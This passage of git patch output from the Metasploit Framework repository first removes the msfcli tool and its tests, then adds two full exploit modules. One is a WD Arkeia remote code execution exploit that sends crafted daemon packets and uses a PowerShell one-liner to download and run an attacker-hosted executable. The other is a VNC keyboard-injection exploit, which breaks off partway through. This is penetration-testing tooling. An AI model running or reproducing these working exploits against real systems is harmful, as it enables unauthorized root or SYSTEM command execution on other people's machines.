Msf::Ui::Console::Driver::DefaultPrompt, - Msf::Ui::Console::Driver::DefaultPromptChar, - { - 'Framework' => framework, - # When I use msfcli, chances are I want speed, so ASCII art fanciness - # probably isn't much of a big deal for me. - 'DisableBanner' => true - }) - - module_class = (m[:module].fullname =~ /^auxiliary/ ? 'auxiliary' : 'exploit') - - con.run_single("use #{module_class}/#{m[:module].refname}") - - # Assign console parameters - @args[:params].each do |arg| - k,v = arg.split("=", 2) - con.run_single("set #{k} #{v}") - end - - # Run the exploit - con.run_single("exploit") - - # If we have sessions or jobs, keep running - if framework.sessions.length > 0 or framework.jobs.length > 0 - con.run - else - con.run_single("quit") - end - end - - - # - # Selects a mode chosen by the user and run it - # - def engage_mode(modules) - case @args[:mode].downcase - when 'h' - usage - when "s" - show_summary(modules) - when "o" - show_options(modules) - when "m" - show_missing(modules) - when "a" - show_advanced(modules) - when "i" - show_ids_evasion(modules) - when "p" - if modules[:module].file_path =~ /auxiliary\//i - $stdout.puts("\nError: This type of module does not support payloads") - else - show_payloads(modules) - end - when "t" - puts - if modules[:module].file_path =~ /auxiliary\//i - $stdout.puts("\nError: This type of module does not support targets") - else - show_targets(modules) - end - when "ac" - if modules[:module].kind_of?(Msf::Module::HasActions) - show_actions(modules) - else - $stdout.puts("\nError: This type of module does not support actions") - end - when "c" - show_check(modules) - when "e" - execute_module(modules) - else - usage("Invalid mode #{@args[:mode]}") - end - end - - - def run! - if @args[:module_name] == "-h" - usage() - exit - end - - $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] - require 'msfenv' - require 'msf/ui' - require 'msf/base' - - if @args[:module_name].nil? - ext = dump_module_list - usage(nil, ext) - exit - end - - begin - modules = init_modules - rescue Rex::ArgumentParseError => e - puts "[!] Error: #{e.message}\n\n" - exit - end - - if modules[:module].nil? - usage("Invalid module: #{@args[:module_name]}") - exit - end - - # Process special var/val pairs... - Msf::Ui::Common.process_cli_arguments(framework, @args[:params]) - - engage_mode(modules) - $stdout.puts - end -end - - -if __FILE__ == $PROGRAM_NAME - cli = Msfcli.new(ARGV) - cli.run! -end diff --git a/spec/msfcli_spec.rb b/spec/msfcli_spec.rb deleted file mode 100644 index ce31679cd5..0000000000 --- a/spec/msfcli_spec.rb +++ /dev/null @@ -1,812 +0,0 @@ -require 'spec_helper' - -load Metasploit::Framework.root.join('msfcli').to_path - -require 'msfenv' -require 'msf/ui' -require 'msf/base' - - -describe Msfcli, :content do - subject(:msfcli) { - described_class.new(args) - } - - # - # methods - # - - # Get stdout: - # http://stackoverflow.com/questions/11349270/test-output-to-command-line-with-rspec - def get_stdout(&block) - out = $stdout - $stdout = fake = StringIO.new - begin - yield - ensure - $stdout = out - end - fake.string - end - - # - # lets - # - - let(:args) { - [] - } - - context "#initialize" do - context 'with module name' do - let(:args) { - [ - module_name, - *params - ] - } - - let(:module_name) { - 'multi/handler' - } - - let(:params) { - %w{payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1} - } - - let(:parsed_args) { - msfcli.instance_variable_get(:@args) - } - - context 'multi/handler' do - context 'with mode' do - let(:args) { - super() + [mode] - } - - context 'E' do - let(:mode) { - 'E' - } - - it 'parses module name into :module_name arg' do - expect(parsed_args[:module_name]).to eq(module_name) - end - - it 'parses mode into :mode arg' do - expect(parsed_args[:mode]).to eq(mode) - end - - it 'parses module parameters between module name and mode' do - expect(parsed_args[:params]).to eq(params) - end - end - - context 's' do - let(:mode) { - 's' - } - - it "parses mode as 's' (summary)" do - expect(parsed_args[:mode]).to eq(mode) - end - end - end - - context 'without mode' do - let(:args) { - [ - module_name - ] - } - - it "parses mode as 'h' (help) by default" do - expect(parsed_args[:mode]).to eq('h') - end - end - end - - context 'exploit/windows/browser/ie_cbutton_uaf' do - let(:module_name) { - 'exploit/windows/browser/ie_cbutton_uaf' - } - - it "strips 'exploit/' prefix for :module_name" do - expect(parsed_args[:module_name]).to eq('windows/browser/ie_cbutton_uaf') - end - end - - context 'exploit/windows/browser/ie_cbutton_uaf' do - let(:module_name) { - 'exploits/windows/browser/ie_cbutton_uaf' - } - - it "strips 'exploits/' prefix for :module_name" do - expect(parsed_args[:module_name]).to eq('windows/browser/ie_cbutton_uaf') - end - end - end - end - - context "#usage" do - it "prints Usage" do - out = get_stdout { - msfcli.usage - } - - expect(out).to include('Usage') - end - end - - # - # This one is slow because we're loading all modules - # - context "#dump_module_list" do - include_context 'Metasploit::Framework::Spec::Constants cleaner' - - let(:framework) { - msfcli.framework - } - - it 'dumps a listof modules' do - tbl = '' - - stdout = get_stdout { - tbl = msfcli.dump_module_list - } - - expect(tbl).to include 'Exploits' - expect(stdout).to include 'Please wait' - end - end - - context "#guess_payload_name" do - subject(:guess_payload_name) { - msfcli.guess_payload_name(payload_reference_name) - } - - context 'with windows/meterpreter/reverse_tcp' do - let(:payload_reference_name) { - 'windows/meterpreter/reverse_tcp' - } - - it { - is_expected.to eq( - [ - /stages\/windows\/meterpreter/, - /payloads\/(stagers|stages)\/windows\/.*(reverse_tcp)\.rb$/ - ] - ) - } - end - - context 'with windows/shell/reverse_tcp' do - let(:payload_reference_name) { - 'windows/shell/reverse_tcp' - } - - it { - is_expected.to eq( - [ - /stages\/windows\/shell/, - /payloads\/(stagers|stages)\/windows\/.*(reverse_tcp)\.rb$/ - ] - ) - } - end - - context 'with php/meterpreter_reverse_tcp' do - let(:payload_reference_name) { - 'php/meterpreter_reverse_tcp' - } - - it { - is_expected.to eq( - [ - /stages\/php\/meterpreter/, - /payloads\/(stagers|stages)\/php\/.*(meterpreter_reverse_tcp)\.rb$/ - ] - ) - } - end - - context 'with linux/x86/meterpreter/reverse_tcp' do - let(:payload_reference_name) { - 'linux/x86/meterpreter/reverse_tcp' - } - - it { - is_expected.to eq( - [ - /stages\/linux\/x86\/meterpreter/, - /payloads\/(stagers|stages)\/linux\/x86\/.*(reverse_tcp)\.rb$/ - ] - ) - } - end - - context 'with java/meterpreter/reverse_tcp' do - let(:payload_reference_name) { - 'java/meterpreter/reverse_tcp' - } - - it { - is_expected.to eq( - [ - /stages\/java\/meterpreter/, - /payloads\/(stagers|stages)\/java\/.*(reverse_tcp)\.rb$/ - ] - ) - } - end - - context 'with cmd/unix/reverse' do - let(:payload_reference_name) { - 'cmd/unix/reverse' - } - - it { - is_expected.to eq( - [ - /stages\/cmd\/shell/, - /payloads\/(singles|stagers|stages)\/cmd\/.*(reverse)\.rb$/ - ] - ) - } - end - - context 'with bsd/x86/shell_reverse_tcp' do - let(:payload_reference_name) { - 'bsd/x86/shell_reverse_tcp' - } - - it { - is_expected.to eq( - [ - /stages\/bsd\/x86\/shell/, - /payloads\/(singles|stagers|stages)\/bsd\/x86\/.*(shell_reverse_tcp)\.rb$/ - ] - ) - } - - end - end - - context "#guess_encoder_name" do - subject(:guess_encoder_name) { - msfcli.guess_encoder_name(encoder_reference_name) - } - - context 'with x86/shikata_ga_nai' do - let(:encoder_reference_name) { - 'x86/shikata_ga_nai' - } - - it { - is_expected.to eq( - [/encoders\/#{encoder_reference_name}/] - ) - } - end - end - - - context "#guess_nop_name" do - subject(:guess_nop_name) { - msfcli.guess_nop_name(nop_reference_name) - } - - context 'with x86/shikata_ga_nai' do - let(:nop_reference_name) { - 'x86/single_byte' - } - - it { - is_expected.to eq( - [/nops\/#{nop_reference_name}/] - ) - } - end - end - - context "#generate_whitelist" do - subject(:generate_whitelist) { - msfcli.generate_whitelist.map(&:to_s) - } - - let(:args) { - [ - 'multi/handler', - "payload=#{payload_reference_name}", - 'lhost=127.0.0.1', - mode - ] - } - - let(:mode) { - 'E' - } - - context 'with payload' do - context 'linux/x86/reverse_tcp' do - let(:payload_reference_name) { - 'linux/x86/reverse_tcp' - } - - context 'with encoder' do - let(:args) { - super().tap { |args| - args.insert(-2, "encoder=#{encoder_reference_name}") - } - } - - context 'x86/fnstenv_mov' do - let(:encoder_reference_name) { - 'x86/fnstenv_mov' - } - - it { - is_expected.to match_array( - [ - /multi\/handler/, - /stages\/linux\/x86\/shell/, - /payloads\/(singles|stagers|stages)\/linux\/x86\/.*(reverse_tcp)\.rb$/, - /encoders\/x86\/fnstenv_mov/, - /post\/.+/, - /encoders\/generic\/*/, - /nops\/.+/ - ].map(&:to_s) - ) - } - end - end - end - - context 'windows/meterpreter/reverse_tcp' do - let(:payload_reference_name) { - 'windows/meterpreter/reverse_tcp' - } - - context 'with default options' do - it { - is_expected.to match_array( - [ - /multi\/handler/, - /stages\/windows\/meterpreter/, - /payloads\/(stagers|stages)\/windows\/.*(reverse_tcp)\.rb$/, - /post\/.+/, - /encoders\/generic\/*/, - /encoders\/.+/, - /nops\/.+/ - ].map(&:to_s) - ) - } - end - - context 'with encoder' do - let(:args) { - super().tap { |args| - args.insert(-2, "encoder=#{encoder_reference_name}") - } - } - - context "''" do - let(:encoder_reference_name) do - "''" - end - - context 'with post' do - let(:args) { - super().tap { |args| - args.insert(-2, "post=#{post_reference_name}") - } - } - - context "''" do - let(:post_reference_name) do - "''" - end - - context "with nop" do - let(:args) { - super().tap { |args| - args.insert(-2, "nop=#{nop_reference_name}") - } - } - - context "''" do - let(:nop_reference_name) { - "''" - } - - it { - is_expected.to match_array( - [ - /multi\/handler/, - /stages\/windows\/meterpreter/, - /payloads\/(stagers|stages)\/windows\/.*(reverse_tcp)\.rb$/, - /encoders\/''/, - /post\/''/, - /nops\/''/, - /encoders\/generic\/*/ - ].map(&:to_s) - ) - } - end - end - end - end - end - - context "<blank>" do - let(:encoder_reference_name) do - "" - end - - context 'with post' do - let(:args) { - super().tap { |args| - args.insert(-2, "post=#{post_reference_name}") - } - } - - context "<blank>" do - let(:post_reference_name) do - "" - end - - context "with nop" do - let(:args) { - super().tap { |args| - args.insert(-2, "nop=#{nop_reference_name}") - } - } - - context "<blank>" do - let(:nop_reference_name) { - "" - } - - it { - is_expected.to match_array( - [ - /multi\/handler/, - /stages\/windows\/meterpreter/, - /payloads\/(stagers|stages)\/windows\/.*(reverse_tcp)\.rb$/, - /encoders\/generic\/*/ - ].map(&:to_s) - ) - } - end - end - end - end - end - end - end - end - end - - context "#init_modules" do - include_context 'Metasploit::Framework::Spec::Constants cleaner' - - let(:args) { - [ - module_name, - mode - ] - } - - let(:framework) { - msfcli.framework - } - - let(:mode) { - 'S' - } - - context 'with exploit/windows/smb/psexec' do - let(:module_name) { - 'exploit/windows/smb/psexec' - } - - it 'creates the module in :module' do - modules = {} - - Kernel.quietly { - modules = msfcli.init_modules - } - - expect(modules[:module]).to be_an Msf::Exploit - expect(modules[:module].fullname).to eq(module_name) - end - end - - context 'with auxiliary/server/browser_autopwn' do - let(:module_name) { - 'auxiliary/server/browser_autopwn' - } - - it 'creates the module in :module' do - modules = {} - - Kernel.quietly { - modules = msfcli.init_modules - } - - expect(modules[:module]).to be_an Msf::Auxiliary - expect(modules[:module].fullname).to eq(module_name) - end - end - - context 'with post/windows/gather/credentials/gpp' do - let(:module_name) { - 'post/windows/gather/credentials/gpp' - } - - it 'creates the module in :module' do - modules = {} - - Kernel.quietly { - modules = msfcli.init_modules - } - - expect(modules[:module]).to be_an Msf::Post - expect(modules[:module].fullname).to eq(module_name) - end - end - - context 'with exploit/multi/handler' do - let(:module_name) { - 'multi/handler' - } - - it 'creates the module in :module' do - modules = {} - - Kernel.quietly { - modules = msfcli.init_modules - } - - expect(modules[:module]).to be_an Msf::Exploit - expect(modules[:module].refname).to eq(module_name) - end - - context 'with payload' do - let(:args) { - super().tap { |args| - args.insert(-2, "payload=#{payload_reference_name}") - } - } - - context 'windows/meterpreter/reverse_tcp' do - let(:payload_reference_name) do - 'windows/meterpreter/reverse_tcp' - end - - it 'creates payload in :payload' do - modules = {} - - Kernel.quietly { - modules = msfcli.init_modules - } - - expect(modules[:payload]).to be_an Msf::Payload - expect(modules[:payload].refname).to eq(payload_reference_name) - end - end - end - - context 'with data store options' do - let(:args) { - super().tap { |args| - args.insert(-2, "#{data_store_key}=#{data_store_value}") - } - } - - let(:data_store_key) { - 'lhost' - } - - let(:data_store_value) { - '127.0.0.1' - } - - it 'sets data store on :module' do - modules = {} - - Kernel.quietly { - modules = msfcli.init_modules - } - - expect(modules[:module].datastore[data_store_key]).to eq(data_store_value) - end - end - end - - context 'with invalid module name' do - let(:module_name) { - 'invalid/module/name' - } - - it 'returns empty modules Hash' do - modules = nil - - Kernel.quietly { - modules = msfcli.init_modules - } - - expect(modules).to eq({}) - end - end - end - - context "#engage_mode" do - include_context 'Metasploit::Framework::Spec::Constants cleaner' - - subject(:engage_mode) { - msfcli.engage_mode(modules) - } - - let(:args) { - [ - module_name, - mode - ] - } - - let(:framework) { - msfcli.framework - } - - let(:modules) { - msfcli.init_modules - } - - context 'with auxiliary/scanner/http/http_put' do - let(:module_name) { - 'auxiliary/scanner/http/http_put' - } - - context 'with mode' do - context 'ac' do - let(:mode) { - 'ac' - } - - specify { - expect(get_stdout { engage_mode }).to match(/DELETE/) - } - end - end - end - - context 'with auxiliary/scanner/http/http_version' do - let(:module_name) { - 'auxiliary/scanner/http/http_version' - } - - context 'with mode' do - context 'A' do - let(:mode) { - 'A' - } - - specify { - expect(get_stdout { engage_mode }).to match(/UserAgent/) - } - end - - context 'I' do - let(:mode) { - 'I' - } - - specify { - expect(get_stdout { engage_mode }).to match(/Insert fake relative directories into the uri/) - } - end - - context 'O' do - let(:mode) { - 'O' - } - - specify { - expect(get_stdout { engage_mode }).to match(/The target address range or CIDR identifier/) - } - end - - context 'P' do - let(:mode) { - 'P' - } - - specify { - expect(get_stdout { engage_mode }).to match(/This type of module does not support payloads/) - } - end - - context 's' do - let(:mode) { - 's' - } - - specify { - expect(get_stdout { engage_mode }).to match %r{Module: auxiliary/scanner/http/http_version} - } - end - - context 't' do - let(:mode) { - 't' - } - - specify { - expect(get_stdout { engage_mode }).to match(/This type of module does not support targets/) - } - end - end - end - - context 'with windows/browser/ie_cbutton_uaf' do - let(:module_name) { - 'windows/browser/ie_cbutton_uaf' - } - - context 'with mode' do - context 'ac' do - let(:mode) { - 'ac' - } - - specify { - expect(get_stdout { engage_mode }).to match(/This type of module does not support actions/) - } - end - - context 'P' do - let(:mode) { - 'P' - } - - specify { - expect(get_stdout { engage_mode }).to match(/windows\/meterpreter\/reverse_tcp/) - } - end - - context 'T' do - let(:mode) { - 'T' - } - - specify { - expect(get_stdout { engage_mode }).to match(/IE 8 on Windows 7/) - } - end - end - end - - context 'with windows/smb/ms08_067_netapi' do - let(:args) { - super().tap { |args| - args.insert(-2, "RHOST=127.0.0.1") - } - } - - let(:module_name) { - 'windows/smb/ms08_067_netapi' - } - - context 'with mode C' do - let(:mode) { - 'C' - } - - specify { - expect(get_stdout { engage_mode }).to match(/#{Msf::Exploit::CheckCode::Unknown[1]}/) - } - end - end - end -end diff --git a/tools/profile.sh b/tools/profile.sh index 44784fa4ce..3623c8662e 100755 --- a/tools/profile.sh +++ b/tools/profile.sh @@ -1,3 +1,3 @@ #!/bin/sh -CPUPROFILE_FREQUENCY=500 CPUPROFILE=profile.dat RUBYOPT="-r`gem which perftools | tail -1`" ruby msfcli z +CPUPROFILE_FREQUENCY=500 CPUPROFILE=profile.dat RUBYOPT="-r`gem which perftools | tail -1`" ruby msfconsole -x "exit" z pprof.rb --gif profile.dat > profile.gif From 52d41c83091f68c99213368f164a17e31b958038 Mon Sep 17 00:00:00 2001 From: xistence <xistence@0x90.nl> Date: Fri, 10 Jul 2015 09:51:28 +0700 Subject: [PATCH 0690/1013] Western Digital Arkeia 'ARKFS_EXEC_CMD' <= v11.0.12 Remote Code Execution --- .../exploits/multi/misc/arkeia_agent_exec.rb | 299 ++++++++++++++++++ 1 file changed, 299 insertions(+) create mode 100644 modules/exploits/multi/misc/arkeia_agent_exec.rb diff --git a/modules/exploits/multi/misc/arkeia_agent_exec.rb b/modules/exploits/multi/misc/arkeia_agent_exec.rb new file mode 100644 index 0000000000..8be8764850 --- /dev/null +++ b/modules/exploits/multi/misc/arkeia_agent_exec.rb @@ -0,0 +1,299 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::Tcp + include Msf::Exploit::Remote::HttpServer + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'WD Arkeia Remote Code Execution', + 'Description' => %q{ + This module exploits a code execution flaw in Western Digital Arkeia version 11.0.12 and below. + The vulnerability exists in the 'arkeiad' daemon listening on TCP port 617. Because there are + insufficient checks on the authentication of all clients, this can be bypassed. + Using the ARKFS_EXEC_CMD operation it's possible to execute arbitrary commands with root or + SYSTEM privileges. + The daemon is installed on both the Arkeia server as well on all the backup clients. The module + has been sucessfuly tested on Windows, Linux, OSX, FreeBSD and OpenBSD. + }, + 'Author' => + [ + 'xistence <xistence[at]0x90.nl>', # Vulnerability discovery and Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ], + 'Privileged' => true, + 'Payload' => + { + 'DisableNops' => true + }, + 'Targets' => + [ + [ 'Windows', + { + 'Arch' => ARCH_X86, + 'Platform' => 'win', + } + ], + [ 'Linux', + { + 'Arch' => ARCH_CMD, + 'Platform' => 'unix', + 'Payload' => + { + 'Space' => 255, + 'Compat' => { + 'RequiredCmd' => 'perl python bash-tcp gawk openssl' + } + } + } + ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jul 10 2015')) + + register_options( + [ + Opt::RPORT(617), + OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10]) + ], self.class) + end + + def check + connect + + req = "\x00\x41" + req << "\x00" * 5 + req << "\x73" + req << "\x00" * 12 + req << "\xc0\xa8\x02\x74" + req << "\x00" * 56 + req << "\x74\x02\xa8\xc0" + req << "ARKADMIN" + req << "\x00" + req << "root" + req << "\x00" + req << "root" + req << "\x00" * 3 + req << "4.3.0-1" # version? + req << "\x00" * 11 + + sock.put(req) + res = sock.recv(1024) + + unless res and res[0,4] == "\x00\x60\x00\x04" + disconnect + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure during agent communication #1") + end + + req = "\x00\x73" + req << "\x00" * 5 + req << "\x0c\x32" + req << "\x00" * 11 + + sock.put(req) + res = sock.recv(1024) + + unless res and res[0,4] == "\x00\x60\x00\x04" + disconnect + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure during agent communication #2") + end + + req = "\x00\x61\x00\x04\x00\x01\x00\x11\x00\x00\x31\x00" + req << "EN" # Language + req << "\x00" * 11 + + sock.put(req) + res = sock.recv(1024) + + unless res and res == "\x00\x43\x00\x00\x00\x01\x00\x00" + disconnect + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure during agent communication #3") + end + + # ARKADMIN_GET_CLIENT_INFO + req = "\x00\x62\x00\x01" + req << "\x00" * 3 + req << "\x26" + req << "ARKADMIN_GET_CLIENT_INFO" # Function to request agent information + req << "\x00\x32\x38" + req << "\x00" * 11 + + sock.put(req) + res = sock.recv(1024) + + unless res and res == "\x00\x43\x00\x00\x00\x02\x00\x00" + disconnect + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure during agent communication #3") + end + + req = "\x00\x63\x00\x04\x00\x00\x00\x12\x30\x00\x31\x00\x32\x38" + req << "\x00" * 12 + + sock.put(req) + # Have to retrieve data twice + sock.recv(1024) + res = sock.recv(1024) + + if res and res =~ /VERSION.*WD Arkeia ([0-9]+\.[0-9]+\.[0-9]+)/ + version = $1 + print_status("#{rhost}:#{rport} - Arkeia version detected: #{version}") + if version <= "11.0.12" + return Exploit::CheckCode::Vulnerable + end + else + print_status("#{rhost}:#{rport} - Arkeia version not detected") + end + + return Exploit::CheckCode::Safe + end + + def exploit + + if target.name =~ /Windows/ + + @downfile = rand_text_alpha(8+rand(8)) + @pl = generate_payload_exe + + srv_host = Rex::Socket.source_address(rhost) + + service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + '/' + @downfile + print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...") + start_service({'Uri' => { + 'Proc' => Proc.new { |cli, req| + on_request_uri(cli, req) + }, + 'Path' => '/' + @downfile + }}) + + # PowerShell web download. The char replacement is needed because using the "/" character twice (like http://) directly is not possible on Windows agents. + command = "PowerShell -Command \"$s=[CHAR][BYTE]47;$b=\\\"http:$($s)$($s)#{srv_host}:#{datastore['SRVPORT']}$($s)#{@downfile}\\\";" + command << "(New-Object System.Net.WebClient).DownloadFile($b,'c:/#{@downfile}.exe');" + command << "(New-Object -com Shell.Application).ShellExecute('c:/#{@downfile}.exe');\"" + + communicate(command) + + elsif target.name =~ /Linux/ + communicate(payload.encoded) + return + end + end + + + def communicate(command) + print_status("#{rhost}:#{rport} - Connecting to Arkeia daemon") + + connect + + print_status("#{rhost}:#{rport} - Sending agent communication") + + req = "\x00\x41\x00\x00\x00\x00\x00\x70" + req << "\x00" * 12 + req << "\xc0\xa8\x02\x8a" + req << "\x00" * 56 + req << "\x8a\x02\xa8\xc0" + req << "ARKFS" + req << "\x00" + req << "root" + req << "\x00" + req << "root" + req << "\x00" * 3 + req << "4.3.0-1" # Client version ? + req << "\x00" * 11 + + sock.put(req) + res = sock.recv(1024) + + unless res and res[0,4] == "\x00\x60\x00\x04" + disconnect + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure during agent communication #1") + end + + req = "\x00\x73\x00\x00\x00\x00\x00\x0c\x32" + req << "\x00" * 11 + + sock.put(req) + res = sock.recv(1024) + + unless res and res[0,4] == "\x00\x60\x00\x04" + disconnect + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure during agent communication #2") + end + + req = "\x00\x61\x00\x04\x00\x01\x00\x1a\x00\x00" + req << rand_text_numeric(10) # "1234567890" - 10 byte numerical value, like a session ID? + req << "\x00" + req << "EN" # English language? + req << "\x00" * 11 + + sock.put(req) + res = sock.recv(1024) + + unless res and res == "\x00\x43\x00\x00\x00\x01\x00\x00" + disconnect + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure during agent communication #3") + end + + req = "\x00\x62\x00\x01\x00\x02\x00\x1b" + req << "ARKFS_EXEC_CMD" # With this function we can execute system commands with root/SYSTEM privileges + req << "\x00\x31" + req << "\x00" * 11 + + sock.put(req) + res = sock.recv(1024) + + unless res and res == "\x00\x43\x00\x00\x00\x02\x00\x00" + disconnect + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure during agent communication #4") + end + + + commandlength = "%02x" % command.length + commandlength = commandlength.scan(/../).map { |x| x.hex.chr }.join + + req = "\x00\x63\x00\x04\x00\x03\x00\x15\x31\x00\x31\x00\x31\x00\x30\x3a\x31\x2c" + req << "\x00" * 12 + req << "\x64\x00\x04\x00\x04\x00" + req << commandlength # Maximum length can be 255 bytes (0xFF) + req << command # Our command to be executed + req << "\x00" + + print_status("#{rhost}:#{rport} - Executing payload through ARKFS_EXEC_CMD") + + sock.put(req) + res = sock.recv(1024) + + unless res and res[0,4] == "\x00\x63\x00\x04" + disconnect + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure executing payload") + end + + + # Wait for our payload to be sent, else HTTP server might shutdown too quick + select(nil, nil, nil, datastore['HTTP_DELAY']) + + end + + def on_request_uri(cli, request) + if (not @pl) + print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!") + return + end + print_status("#{rhost}:#{rport} - Sending the payload to the server...") + register_files_for_cleanup("c:\\#{@downfile}.exe") + send_response(cli, @pl) + end + +end From 51f59b3c8cc658699c6b5e4575f16dca4e05f051 Mon Sep 17 00:00:00 2001 From: OJ <oj@buffered.io> Date: Fri, 10 Jul 2015 16:19:46 +1000 Subject: [PATCH 0691/1013] Re-add URI generation to reverse_http --- lib/msf/core/payload/windows/reverse_http.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/lib/msf/core/payload/windows/reverse_http.rb b/lib/msf/core/payload/windows/reverse_http.rb index f29662d6fa..b47015f67b 100644 --- a/lib/msf/core/payload/windows/reverse_http.rb +++ b/lib/msf/core/payload/windows/reverse_http.rb @@ -51,6 +51,7 @@ module Payload::Windows::ReverseHttp # Add extra options if we have enough space unless self.available_space.nil? || required_space > self.available_space + conf[:url] = generate_uri conf[:exitfunk] = datastore['EXITFUNC'] conf[:ua] = datastore['MeterpreterUserAgent'] conf[:proxy_host] = datastore['PayloadProxyHost'] From 85769808ccb75f5f4724fb2e31a74dad2c1ef537 Mon Sep 17 00:00:00 2001 From: OJ <oj@buffered.io> Date: Fri, 10 Jul 2015 16:28:20 +1000 Subject: [PATCH 0692/1013] Update metasploit payloads to 1.0.6 --- Gemfile.lock | 4 ++-- metasploit-framework.gemspec | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 219a800392..5daa50130d 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -9,7 +9,7 @@ PATH json metasploit-concern (= 1.0.0) metasploit-model (= 1.0.0) - metasploit-payloads (= 1.0.4) + metasploit-payloads (= 1.0.6) msgpack nokogiri packetfu (= 1.1.9) @@ -123,7 +123,7 @@ GEM activemodel (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) railties (>= 4.0.9, < 4.1.0) - metasploit-payloads (1.0.4) + metasploit-payloads (1.0.6) metasploit_data_models (1.2.5) activerecord (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index a9808136ab..99789ed0b4 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -62,7 +62,7 @@ Gem::Specification.new do |spec| # are needed when there's no database spec.add_runtime_dependency 'metasploit-model', '1.0.0' # Needed for Meterpreter - spec.add_runtime_dependency 'metasploit-payloads', '1.0.4' + spec.add_runtime_dependency 'metasploit-payloads', '1.0.6' # Needed by msfgui and other rpc components spec.add_runtime_dependency 'msgpack' # Needed by anemone crawler From b916a9d267363d212cc4dc990e772ae80bc5b7f1 Mon Sep 17 00:00:00 2001 From: xistence <xistence@0x90.nl> Date: Fri, 10 Jul 2015 14:08:32 +0700 Subject: [PATCH 0693/1013] VNC Keyboard Exec --- .../exploits/multi/vnc/vnc_keyboard_exec.rb | 197 ++++++++++++++++++ 1 file changed, 197 insertions(+) create mode 100644 modules/exploits/multi/vnc/vnc_keyboard_exec.rb diff --git a/modules/exploits/multi/vnc/vnc_keyboard_exec.rb b/modules/exploits/multi/vnc/vnc_keyboard_exec.rb new file mode 100644 index 0000000000..6d103d0185 --- /dev/null +++ b/modules/exploits/multi/vnc/vnc_keyboard_exec.rb @@ -0,0 +1,197 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex/proto/rfb' + +class Metasploit3 < Msf::Exploit::Remote + + Rank = ExcellentRanking + include Msf::Exploit::Remote::Tcp + include Msf::Exploit::CmdStager + include Msf::Exploit::Powershell + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'VNC Keyboard Exec', + 'Description' => %q{ + This module exploits VNC servers by sending virtual keyboard keys and executing + a payload. On Windows systems a command prompt is opened and a PowerShell or CMDStager + payload is typed and executed. On Unix/Linux systems a xterm terminal is opened + and a payload is typed and executed. + }, + 'Author' => [ 'xistence <xistence[at]0x90.nl>' ], + 'Privileged' => false, + 'License' => MSF_LICENSE, + 'Platform' => %w{ win unix }, + 'Arch' => ARCH_X86, + 'Targets' => + [ + [ 'VNC Windows / Powershell', { 'Platform' => 'win' } ], + [ 'VNC Windows / VBScript CMDStager', { 'Platform' => 'win' } ], + [ 'VNC Linux / Unix', { 'Arch' => ARCH_CMD, 'Platform' => 'unix' } ] + ], + 'DisclosureDate' => 'Jul 10 2015', + 'DefaultTarget' => 0)) + + register_options( + [ + Opt::RPORT(5900), + OptString.new('PASSWORD', [ false, 'The VNC password']), + OptInt.new('TIMEWAIT', [ true, 'Time to wait for payload to be executed', 20]) + ], self.class) + end + + + def press_key( key ) + keyboard_key = "\x04\x01" # Press key + keyboard_key << "\x00\x00\x00\x00" # Unknown / Unused data + keyboard_key << key # The keyboard key + # Press the keyboard key. Note: No receive is done as everything is sent in one long data stream + sock.put(keyboard_key) + end + + + def release_key( key ) + keyboard_key = "\x04\x00" # Release key + keyboard_key << "\x00\x00\x00\x00" # Unknown / Unused data + keyboard_key << key # The keyboard key + # Press the keyboard key. Note: No receive is done as everything is sent in one long data stream + sock.put(keyboard_key) + end + + + def exec_command( command ) + values = command.chars.to_a + values.each do |value| + press_key("\x00#{value}") + release_key("\x00#{value}") + end + press_key(@enter_key) + end + + + def start_cmdprompt + print_status("#{rhost}:#{rport} - Opening Run command") + # Pressing and holding windows key for 1 second + press_key(@windows_key) + select(nil, nil, nil, 1) + # Press the "r" key + press_key("\x00r") + # Now we can release both keys again + release_key("\x00r") + release_key(@windows_key) + # Wait a second to open run command window + select(nil, nil, nil, 1) + exec_command("cmd.exe") + # Wait a second for cmd.exe prompt to open + select(nil, nil, nil, 1) + end + + + def exploit + + begin + + @enter_key = "\xff\x0d" + @windows_key = "\xff\xeb" + alt_key = "\xff\xe9" + f2_key = "\xff\xbf" + password = datastore['PASSWORD'] + + connect + vnc = Rex::Proto::RFB::Client.new(sock, :allow_none => false) + + unless vnc.handshake + print_error("#{rhost}:#{rport} - #{vnc.error}") + return + end + + unless password.nil? + print_status("#{rhost}:#{rport} - Trying to authenticate against VNC server") + if vnc.authenticate(password) + print_status("#{rhost}:#{rport} - Authenticated") + else + print_error("#{rhost}:#{rport} - #{vnc.error}") + return + end + else + print_status("#{rhost}:#{rport} - Bypass 